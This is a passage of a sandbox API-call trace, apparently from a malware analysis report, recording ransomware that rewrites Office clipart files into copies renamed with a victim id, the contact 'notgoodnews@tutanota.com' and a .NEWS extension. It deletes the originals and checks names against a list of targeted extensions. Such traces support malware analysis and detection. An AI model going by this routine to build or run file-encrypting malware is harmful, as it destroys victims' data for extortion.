[0165.977] GetLastError () returned 0x0 [0165.977] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xabad, lpOverlapped=0x0) returned 1 [0165.980] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xabb0, lpOverlapped=0x0) returned 1 [0166.287] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.287] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.287] SetEndOfFile (hFile=0x548) returned 1 [0166.464] CloseHandle (hObject=0x548) returned 1 [0166.464] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.464] SetEndOfFile (hFile=0x4f4) returned 1 [0166.524] CloseHandle (hObject=0x4f4) returned 1 [0166.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0167.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.173] lstrlenW (lpString=".doc") returned 4 [0167.173] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0167.173] lstrlenW (lpString=".docx") returned 5 [0167.173] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0167.173] lstrlenW (lpString=".pdf") returned 4 [0167.173] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0167.173] lstrlenW (lpString=".xls") returned 4 [0167.173] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0167.173] lstrlenW (lpString=".xlsx") returned 5 [0167.173] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0167.173] lstrlenW (lpString=".ppt") returned 4 [0167.173] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0167.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.173] lstrlenW (lpString=".zip") returned 4 [0167.173] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0167.173] lstrlenW (lpString=".rar") returned 4 [0167.173] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0167.173] lstrlenW (lpString=".bz2") returned 4 [0167.173] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0167.173] lstrlenW (lpString=".7z") returned 3 [0167.173] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0167.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.174] lstrlenW (lpString=".dbf") returned 4 [0167.174] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0167.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.174] lstrlenW (lpString=".1cd") returned 4 [0167.174] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0167.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.174] lstrlenW (lpString=".jpg") returned 4 [0167.174] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0167.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.174] lstrlenW (lpString=".doc") returned 4 [0167.174] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0167.174] lstrlenW (lpString=".docx") returned 5 [0167.174] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0167.174] lstrlenW (lpString=".pdf") returned 4 [0167.174] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0167.174] lstrlenW (lpString=".xls") returned 4 [0167.174] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0167.174] lstrlenW (lpString=".xlsx") returned 5 [0167.174] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0167.174] lstrlenW (lpString=".ppt") returned 4 [0167.174] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0167.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.174] lstrlenW (lpString=".zip") returned 4 [0167.174] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0167.174] lstrlenW (lpString=".rar") returned 4 [0167.174] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0167.174] lstrlenW (lpString=".bz2") returned 4 [0167.174] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0167.174] lstrlenW (lpString=".7z") returned 3 [0167.175] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0167.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.175] lstrlenW (lpString=".dbf") returned 4 [0167.175] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0167.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.175] lstrlenW (lpString=".1cd") returned 4 [0167.175] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0167.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0167.175] lstrlenW (lpString=".jpg") returned 4 [0167.175] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0167.175] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.175] lstrlenW (lpString="J0099171.WMF") returned 12 [0167.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.176] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8754) returned 1 [0167.176] CloseHandle (hObject=0x514) returned 1 [0167.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0167.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.176] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.176] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.181] GetLastError () returned 0x0 [0167.181] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2232, lpOverlapped=0x0) returned 1 [0167.207] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2240, lpOverlapped=0x0) returned 1 [0167.208] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.208] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.208] SetEndOfFile (hFile=0x53c) returned 1 [0167.215] CloseHandle (hObject=0x53c) returned 1 [0167.215] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.215] SetEndOfFile (hFile=0x514) returned 1 [0167.219] CloseHandle (hObject=0x514) returned 1 [0167.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0167.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.220] lstrlenW (lpString=".doc") returned 4 [0167.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.220] lstrlenW (lpString=".docx") returned 5 [0167.220] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0167.220] lstrlenW (lpString=".pdf") returned 4 [0167.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.220] lstrlenW (lpString=".xls") returned 4 [0167.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.220] lstrlenW (lpString=".xlsx") returned 5 [0167.220] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0167.220] lstrlenW (lpString=".ppt") returned 4 [0167.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.220] lstrlenW (lpString=".zip") returned 4 [0167.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.221] lstrlenW (lpString=".rar") returned 4 [0167.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString=".bz2") returned 4 [0167.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString=".7z") returned 3 [0167.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.221] lstrlenW (lpString=".dbf") returned 4 [0167.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.221] lstrlenW (lpString=".1cd") returned 4 [0167.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.221] lstrlenW (lpString=".jpg") returned 4 [0167.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.221] lstrlenW (lpString=".doc") returned 4 [0167.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString=".docx") returned 5 [0167.221] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0167.221] lstrlenW (lpString=".pdf") returned 4 [0167.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString=".xls") returned 4 [0167.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.221] lstrlenW (lpString=".xlsx") returned 5 [0167.221] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0167.221] lstrlenW (lpString=".ppt") returned 4 [0167.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.221] lstrlenW (lpString=".zip") returned 4 [0167.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.221] lstrlenW (lpString=".rar") returned 4 [0167.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.222] lstrlenW (lpString=".bz2") returned 4 [0167.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.222] lstrlenW (lpString=".7z") returned 3 [0167.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.222] lstrlenW (lpString=".dbf") returned 4 [0167.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.222] lstrlenW (lpString=".1cd") returned 4 [0167.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0167.222] lstrlenW (lpString=".jpg") returned 4 [0167.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.222] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.222] lstrlenW (lpString="J0099172.WMF") returned 12 [0167.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.223] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=58258) returned 1 [0167.223] CloseHandle (hObject=0x514) returned 1 [0167.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0167.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.223] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.223] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.224] GetLastError () returned 0x0 [0167.224] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xe392, lpOverlapped=0x0) returned 1 [0167.228] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe3a0, lpOverlapped=0x0) returned 1 [0167.230] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.230] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.230] SetEndOfFile (hFile=0x53c) returned 1 [0167.230] CloseHandle (hObject=0x53c) returned 1 [0167.230] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.230] SetEndOfFile (hFile=0x514) returned 1 [0167.233] CloseHandle (hObject=0x514) returned 1 [0167.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString=".doc") returned 4 [0167.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString=".docx") returned 5 [0167.235] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.235] lstrlenW (lpString=".pdf") returned 4 [0167.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString=".xls") returned 4 [0167.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.235] lstrlenW (lpString=".xlsx") returned 5 [0167.235] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.235] lstrlenW (lpString=".ppt") returned 4 [0167.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString=".zip") returned 4 [0167.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.235] lstrlenW (lpString=".rar") returned 4 [0167.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString=".bz2") returned 4 [0167.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString=".7z") returned 3 [0167.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString=".dbf") returned 4 [0167.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString=".1cd") returned 4 [0167.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString=".jpg") returned 4 [0167.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.235] lstrlenW (lpString=".doc") returned 4 [0167.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.236] lstrlenW (lpString=".docx") returned 5 [0167.236] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.236] lstrlenW (lpString=".pdf") returned 4 [0167.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.236] lstrlenW (lpString=".xls") returned 4 [0167.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.236] lstrlenW (lpString=".xlsx") returned 5 [0167.236] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.236] lstrlenW (lpString=".ppt") returned 4 [0167.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.236] lstrlenW (lpString=".zip") returned 4 [0167.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.236] lstrlenW (lpString=".rar") returned 4 [0167.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.236] lstrlenW (lpString=".bz2") returned 4 [0167.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.236] lstrlenW (lpString=".7z") returned 3 [0167.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.236] lstrlenW (lpString=".dbf") returned 4 [0167.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.236] lstrlenW (lpString=".1cd") returned 4 [0167.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0167.236] lstrlenW (lpString=".jpg") returned 4 [0167.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.236] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.236] lstrlenW (lpString="J0099173.WMF") returned 12 [0167.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.237] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=37140) returned 1 [0167.237] CloseHandle (hObject=0x514) returned 1 [0167.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0167.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.238] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.238] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.238] GetLastError () returned 0x0 [0167.238] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x9114, lpOverlapped=0x0) returned 1 [0167.515] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: 